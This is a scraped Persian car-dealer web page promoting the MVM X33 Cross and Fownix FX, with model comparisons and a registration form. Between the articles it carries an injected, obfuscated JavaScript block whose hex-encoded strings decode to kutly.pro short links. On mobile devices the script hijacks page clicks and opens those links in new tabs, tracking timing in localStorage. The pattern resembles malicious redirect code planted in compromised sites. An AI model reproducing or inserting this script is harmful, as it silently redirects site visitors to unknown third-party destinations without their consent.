X33

مشخصات ایکس 33 کراس، سبک جدید زندگی

/*! elementor - v3.15.0 - 20-08-2023 */ .elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:right;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}
ایکس-33
ایکس 33

 ایکس 33 کراس، سبک جدید زندگی

ایکس 33 کراس محصول جدید مدیران خودرو که در تیر ماه 1402 رونمایی شد.

در این مقاله به معرفی مشخصات ایکس 33 کراس  که با شعار کراس لایف (CROSS LIFE) معرفی شده است می پردازیم .
ایکس 33 کراس از محصولات خانواده امودا است که ما با طراحی های جذاب، بروز و حتی آینده محور آنها آشنا هستیم برای مثال قبل تر از این با خودروی امودا 5، با نام فونیکس اف ایکس در ایران عرضه شد آشنا شدیم که شعار فونیکس اف ایکس ( هنر آینده ) که در واقع نشان می دهد این خانواده از محصولات، تمرکز خاصی بر روی بروز بودن خودروها دارند.

 

مقایسه ایکس 33 کراس و ایکس 22 پرو

ایکس 33 کراس با شعار ( کراس لایف )

کراس لایف معانی متعددی دارد. مانند: سبک جدید زندگی، در آغوش گرفتن تغییرات و … که در کل می خواهد بگوید شما با یک خودو با سبک جدید و بروز روبرو هستید.

آیا ایکس 33 کراس، بروز شده ی ایکس 22 پرو است؟

ایکس 33 کراس از لحاظ ظاهری نسبت به ایکس 22 پرو ارتقا پیدا کرده است ،  همچنین بروز رسانی هایی در امکانات رفاهی ایکس 33 کراس نسبت به ایکس 22 پرو اتفاق افتاده است.
تغییرات ایکس 33 کراس نسبت به ایکس 22 پرو:

  • تغییر در طراحی قسمت جلو خودرو
  • تغییر در طراحی قسمت عقب
  • تغییر در طراحی داخلی شامل صندلی ها، کنسول، داشبورد
  • بزرگتر شدن رینگ ها
  • اضافه شدن کیسه های هوای جانبی
  • اضافه شدن شارژر وایرلس
  • افزوده شدن صفحه نمایش لمسی یکپارچه با کلاستر خودرو همانند محصولات پرچمدار فونیکس مثل تیگو ۸
  •  دیجیتالی شدن صفحه کیلومتر شمار

 

مقایسه ایکس 33 کراس و ایکس 22 پرو مقایسه ایکس 33 کراس و ایکس 22 پرو
مقایسه ایکس 33 کراس و ایکس 22 پرو مقایسه ایکس 33 کراس و ایکس 22 پرو

مشخصات ایکس 33 کراس

ایکس 33 کراس، یک خودروی کوچک شهری با طراحی هیجان انگیز، بروز و با امکانات رفاهی و کاربردی است.
خودرو x33 cross  دارای یک پیشرانه 1 لیتری توربو شارژ با قدرت ۱۰۳ اسب بخار است که موجب شده مصرف سوخت این خودرو تا حد زیادی کاهش پیدا کند.

ایکس 33 کراس

توان و قدرت این خودرو  قابل قبول است که به دلیل داشتن سیستم توربوشارژ  شتاب بالاتری  نسبت به رقبای خود در بازار ایران دارد .
گیربکس ایکس 33 کراس ، یک گیربکس سی وی تی ۹ سرعته مشابه خودرو اریزو ۶ پرو است که 150 نیوتن متر گشتاور و 103 اسب بخار قدرت را به چرخ های جلو منتقل می کند.

طراحی قسمت جلو ایکس 33 کراس

قسمت جلوی ایکس33 کراس، دی لایت ها به شکل کوانتمی طراحی شده است که  به خوبی با جلو پنجره هندسی ترکیب و ساختاری زیبا ساخته است.
استفاده از رنگ نارنجی در قسمت زیرین سپر، ساختاری اسپرت به خودرو داده است.

طراحی داخلی ایکس 33 کراس

طراحان ایکس 33 کراس در طراحی تودوزی روی درها و داشبورد از بافت خاصی استفاده کرده اند که به آن پوست اژدها می گویند . داخل کابین این خودرو از نورپردازی با 64 رنگ استفاده شده است که می تواند علاوه بر زیبایی ، رقص نور همسان با موزیک داشته باشد.

طراحی داخلی ایکس 33 کراس

صفحه نمایش 10.25 اینچی، پنل 7 اینچی دیجیتالی ، کیلومتر شمار،  استفاده از آبکاری کرومی و فرمان دیکات و حس تکنولوژی را القا می کند و خودرو را هیجان انگیز تر می کند.

طراحی قسمت عقب ایکس 33 کراس

در طراحی قسمت عقب ایکس 33 کراس برای مدرن سازی قسمت عقب ، طراحی چراغ ها را مطابق با مد روز به صورت یکپارچه طراحی کرده اند .

ایکس 33 کراس

ایمنی ایکس 33 کراس

خودروی ایکس 33 کراس از 4 کیسه هوا  (2 کیسه هوای سرنشینان جلو و 2 کیسه هوای جانبی) استفاده می کند همچنین  این خودرو دارای سیستم کنترل سرعت در سرازیری (HDC)، سیستم های پایداری (ESP) ، سیستم جلوگیری از حرکت خودرو به عقب در سرازیری هنگام رها کردن ترمز (HAC) ترمز های ABS و مجهز به EPB و EBD است.

گارانتی و خدمات پس از فروش مدیران خودرو

دسترسی به مراکز خدمات پس از فروش و تامین قطعات با وجود گستردگی خدمات پس از فروش مدیران خودرو در کشور آسان شده است.

اخودرو X33 CROSS دارای 3 سال یا 10000 کیلومتر گارانتی می باشد.

نتیجه گیری

ایکس 33 کراس یک خودروی شهری است که می تواند انتخاب مناسبی برای خانواده های جوان باشد.
اگر متقاضی خودروی ایکس 22 پرو هستید و می خواهید امکانات بیشتری در اختیارتان باشد، ایکس 33 کراس میتواند گزینه ی مناسبی برای شما باشد.

برای رزرو ثبت نام فرم زیر را پر کنید ، کارشناسان ما در اولین فرصت با شما ارتباط برقرار خواهند کرد.

انتخاب کنیدTIGGO 8 PRO +ETIGGO 8 PROMAX IEFXTIGGO 7 PROTIGGO 7 PRO PREMIUMTIGGO 7 PROMAXARRIZO 6 PROARRIZO 6 GTX55 PROX55 PRO IEARRIZO 5 SPORTARRIZO 5 FLARRIZO 5 TurboX33 CROSS CVTX33 CROSS MTX22 PRO IEX22 PRO MT
نقدیاقساط
gform.initializeOnLoaded( function() {gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery('#gform_ajax_frame_36').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_36');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_36').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_36').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_36').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_36').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_36').val();gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [36, current_page]);window['gf_submitting_36'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}setTimeout(function(){jQuery('#gform_wrapper_36').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [36]);window['gf_submitting_36'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_36').text());}, 50);}else{jQuery('#gform_36').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger('gform_post_render', [36, current_page]);} );} );

فونیکس اف ایکس

مزایای فونیکس اف ایکس یک انتخاب خاص !

 فونیکس FX یک انتخاب خاص !

مدت هاست که از عرضه محصول جدید برند فونیکس با نام فونیکس اف ایکس می گذرد . فونیکس اف ایکس به دلیل ظاهر جذاب و قدرت بالا توانسته توجه بسیاری از خریداران خودرو را به خود جلب کند.
در این مقاله قصد داریم بگوییم که چرا خرید خودروی فونیکس اف ایکس، می تواند انتخابی مناسب و در عین حال خاص باشد و چه مزایایی برای ما دارد. اگر بخواهیم یک خودروی خاص در بازار ایران داشته باشیم تقریبا باید حدود 2 میلیارد تومان هزینه کنیم. علاوه بر خودروی فونیکس اف ایکس انتخاب های زیادی داریم که ابتدا آن ها را بررسی می کنیم.

خودرو تیوولی

خرید خودروهای کارکرده تا 2 میلیارد تومان

ابتدا می توانیم برویم سراغ خودروهای کارکرده که می توان تا 2 میلیارد تومان به صورت نقد خریداری کرد.

  • سانگ یانگ تیوولی
  • کیا اسپورتیج
  • هیوندای توسان
  • هیوندا سانتافه
  • سوزوکی گرند ویتارا
  • پژو 2008
  • رنو کولیئوس
  • نیسان جوک
خودرو اسپورتیج خودرو توسان
خودرو توسان خودرو خارجی

اما این خودروها یک سری مشکلاتی دارند، این خودروها کارکرده هستند و امکان ایرادات فنی متعدد در آنها بسیار زیاد است. علاوه بر آن پیدا کردن قطعات برای این خودروها بسیار سخت است و مراکز خدمات پس از فروش رسمی ندارند.
از لحاظ تکنولوژی و طراحی هم این خودروها بسیار قدیمی  و امکانات بروز سطح جهانی را ندارند

خرید خودروهای صفر کیلومتر تا 2 میلیارد تومان

همچنین ما می توانیم سراغ خودروهای صفر کیلومتر برویم.

  • دیگنیتی پرستیژ
  • لاماری ایما
  • کی ام سی K7
  •  فونیکس اف ایکس
خودرو دیگنیتی خودرو چینی

خودرو اف ایکس

خوردو اف ایکس

مزایای خودروی فونیکس FX در سطح جهانی

این خودرو مزایا و برتری هایی نسبت به خودروهای ذکر شده دارد که با هم آنها را بررسی می کنیم .  نه تنها فونیکس اف ایکس با خودروهای مطرح دنیا مانند تویوتا C-HR که قیمتی حدود 3 تا 4 میلیارد دارد مقایسه می شود بلکه برتری هایی هم از لحاظ فنی نسبت به تویوتا CHR دارد.
برای مثال فونیکس اف ایکس، طراحی داخلی و خارجی به روز تری دارد، گیربکس دو کلاچه تر فونیکس اف ایکس حس اسپرت تر و پرشتاب تری را نسبت به گیربکس CVT تویوتا القا می کند، 82 اسب بخار قدرت و 105 نیوتن متر گشتاور، بیشتر تولید می کند.

مزایای فونیکس FX و تویوتا C-HR

خودرو اف ایکس خودرو تویوتا

 درب صندوق عقب برقی، تظیم صندلی شاگرد به صورت برقی، نور محیط در 64 رنگ، سیستم ورود، به خودرو بدون نیاز به کلید و روشن کردن موتور خودرو با ریموت، اتصال تلفن همراه به مانیتور، سیستم کنترل صوتی هوشمند، سیستم همیار راننده خودکار (ADAS)، کاملتر نصبت به تویوتا CHR، این خودرو دارای مسیریاب، صفحه نمایش بزرگتر، دوربین ثبت وقایع، دوربین 360، شارژر وایرلس، سانروف و تعویض دنده برقی است، تمامی این موارد برتری این خودرو نسبت به CHR است.

شباهت های زیادی بین خودرو اف ایکس و تویوتا وجود دارد، مانند سیستم تعلیق، تهویه مطبوع، سنسور پارک، این خودروی پیشنهادی ویژگی هایی نیز دارد که تمام تردیدها را برای خریدش از بین می برد و به شما این اطمینان را می دهد که یک خودروی خاص و منطقی را خریداری می کنید.

خدمات فونیکس اف ایکس

فونیکس FX

دارای 5 سال یا 150.000 کیلومتر گارانتی و 2 سال یا 6 نوبت سرویس رایگان است و شبکه خدمات پس از فروش گسترده ای در کشور دارد. خودرویی پر شتاب و پر قدرت است که 197 اسب بخار قدرت و 290 نیوتن متر گشتاور تولید می کند و 0 تا 100 کیلومتر را در کمتر از 8 ثانیه طی می کند. قدرت و شتاب بالا، نیاز به ایمنی و ترمز های خوب هم دارند که این خودرو دارای 5 ستاره ایمنی از موسسات اروپایی است، جایی که خودروهایی مانند ولوو که ایمن ترین خودروهای روز دنیا هستند تست می شوند.

نتیجه گیری

فونیکس اف ایکس یک کراس اوور شهری بسیار جا دار است و مناسب خانواده و جوانان است، البته این خودرو به دلیل زاویه زیاد ورود، خروج و گشتاور بالا، عملکرد خوبی در مسیرهای ناهموار هم دارد. طراحی فونیکس اف ایکس هم یک سر و گردن از تمامی خودروهای ذکر شده بالاتر است. همچنین از لحاظ جهانی مطابق با خودروهای آینده طراحی شده، از لحاظ آپشن هم این خودرو یکی از پر آپشن ترین محصولات بازار ایران است و مجهز به سیستم های نیمه خودران نیز است.
نکته بسیار حائز اهمیتاین است  که بر خلاف خودروهای ذکر شده، فونیکس اف ایکس دارای تسهیلات است و شما می توانید نصف مبلغ خودرو را پرداخت کنید و مابقی مبلغ خودرو را به صورت اقساط پرداخت کنید و صاحب خاص ترین خودروی بازار ایران شوید .

همین حالا ثبت نام کنید، کارشناسان ما در اولین فرصت با شما ارتباط برقرار خواهند کرد.

انتخاب کنیدTIGGO 8 PRO +ETIGGO 8 PROMAX IEFXTIGGO 7 PROTIGGO 7 PRO PREMIUMTIGGO 7 PROMAXARRIZO 6 PROARRIZO 6 GTX55 PROX55 PRO IEARRIZO 5 SPORTARRIZO 5 FLARRIZO 5 TurboX33 CROSS CVTX33 CROSS MTX22 PRO IEX22 PRO MT
نقدیاقساط
gform.initializeOnLoaded( function() {gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery('#gform_ajax_frame_36').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_36');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_36').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_36').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_36').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_36').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_36').val();gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [36, current_page]);window['gf_submitting_36'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}setTimeout(function(){jQuery('#gform_wrapper_36').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [36]);window['gf_submitting_36'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_36').text());}, 50);}else{jQuery('#gform_36').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger('gform_post_render', [36, current_page]);} );} );


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

مقایسه اف اکیس و لاماری

مقایسه خودرو فونیکس اف ایکس و لاماری ایما

مقایسه خودرو فونیکس اف ایکس و لاماری ایما

امروزه با توجه به تغییر دیدگاه نسبت به خودروهای چینی و رضایتمندی روزافزون آنها خودروهای لوکس و بروز زیادی وارد بازار کشورمون شده اند. در این مقاله به مقایسه دو خودرو فونیکس اف ایکس و لاماری ایما آرین موتور ، کراس اوور تازه وارد و جوان پسند می پردازیم .

لازم به ذکر است که هردو خودروسازی تولید خودروهای خودرا به روش CKD تولید و عرضه میکنند .

مقایسه اف ایکس و لاماری

قبل از توضیح درباره ی لاماری ایما و فونیکس اف ایکس نگاه کوتاهی به تاریخچه این دو وارد کننده و تولید کننده ی خودروهای چینی می اندازیم .

معرفی دو خودروسازی مدیران خودرو و آرین موتور :

شرکت مدیران خودرو: طی سال‌های اخیر به دلیل عرضه خودروهای متنوع و خدمات پس از فروش خود موفق شده اعتماد و رضایت مشتریان زیادی را به خود جلب کند و خودروسازی جا افتاده و با سابقه ای در کشور ما می باشد. در مقابل این خودروسازی خصوصی، شرکت آرین موتور، خودروسازی کم سابقه محسوب می شود، ولی توانسته در بین سایر واردکنندگان و مونتاژکاران کشور قرار بگیرد.

فونیکس FX یا چری اومودا 5 یکی از شاسی بلندهای تازه وارد جذاب و پرطرفدار بازار است و به دلیل داشتن طراحی چشم‌نواز و زیبا و جوان‌پسند و همچنین به دلیل داشتن قوای محرکه قدرتمند و امکانات رفاهی قابل قبول توانسته بخش زیادی از تقاضای بازار خودرو را به سمت خود بکشد و رقابت‌ جذابی در بین باقی خودروهای موجود بازار به راه بیاندازد.

سال گذشته کمپانی چری در نمایشگاه (گوانگژوی) چین از خودروی جدیدی به اسم چری اومودا 5 رونمایی کرد. که نخستین محصول از سری خودروهای لوکس چری اومودا به‌حساب می‌آید. نخستین محموله‌ های CKD این کراس اوور جذاب وارد کشورهایی مانند برزیل، ایران، استرالیا، نیوزلند، روسیه و قزاقستان شد. در سوی مقابل این میدان مبارزه، لاماری ایما کراس اوور جذابه آرین موتور که از زیرمجموعه‌های دانگ فنگ (فورتینگ) بوده و اسم اصلی آن در اصل T5 Evo است. لاماری یا تی 5 نیز برای اولین بار در سال ‌‌‌‌گذشته و در نمایشگاه ‌‌‌‌(گوانگژو ) چین رونمایی و معرفی شده بود و لازم به ذکر است به این نکته اشاره کنیم که پلتفرم این دو کراس اوور جذاب مشترک میباشد. حال به بررسی جامع این دو خودرو لوکس میپردازیم.

مقایسه اف ایکس و لاماری

طراحی بیرونی فونیکس اف ایکس و لاماری ایما

فونیکس FX و لاماری ایما هردو دارای ظاهری جذاب و بروز هستند که نظر و توجه جوانان که پرطرفدار ترین خریداران این دو خودرو هستند را به خود جلب کند . طراحی چراغ های جلو هردوی این خودروها بر اساس مد روز بوده و دارای چراغ‌های جلوی دوقسمتی هستند . شامل دی‌لایت‌های باریک و زیبا در قسمت بالایی و قرار گیری چراغ‌های اصلی در قسمت پایین می‌شود .

درخودرو فونیکس FX شاهد جلو پنجره‌ ی زیبا و بدون قاب هستیم که در قسمت بالایی به دی‌لایت‌های لوکس و باریکی متصل می شوند و نمای متمایزی را ایجاد می کنند . طراحان لاماری ایما از جلو پنجره ی چند ضلعی استفاده کردند و دی‌لایت‌های این خودرو را در لبه ی کاپوت قرار داده ‌اند . در قسمت جانبی هردو خودروی لاماری و اف ایکس فرم اسپرت وکوپه دارند اما FX به دلیل داشتن ستون C مشکی‌ رنگ برای ایجاد طرح سقف شناور و  تریم‌های رنگی در بخش هایی مثل آینه‌ جانبی و رینگ‌ها ، جذاب‌تر به نظر می آید . در قسمت پشتی هردو خودرو دارای چراغ‌های افقی باریکی هستند که به همدیگر متصلند . البته باید در نظر گرفت در لاماری ایما این کار توسط یک نوار LED باریک صورت گرفته و در مقابل آن درخودرو FX شاهد یک تریم مشکی‌رنگی با نوشته( CHERY )  در چین و در ایران ( FOWNIX ) هستیم . در بخش سپر عقب هر دو خودرو به لطف 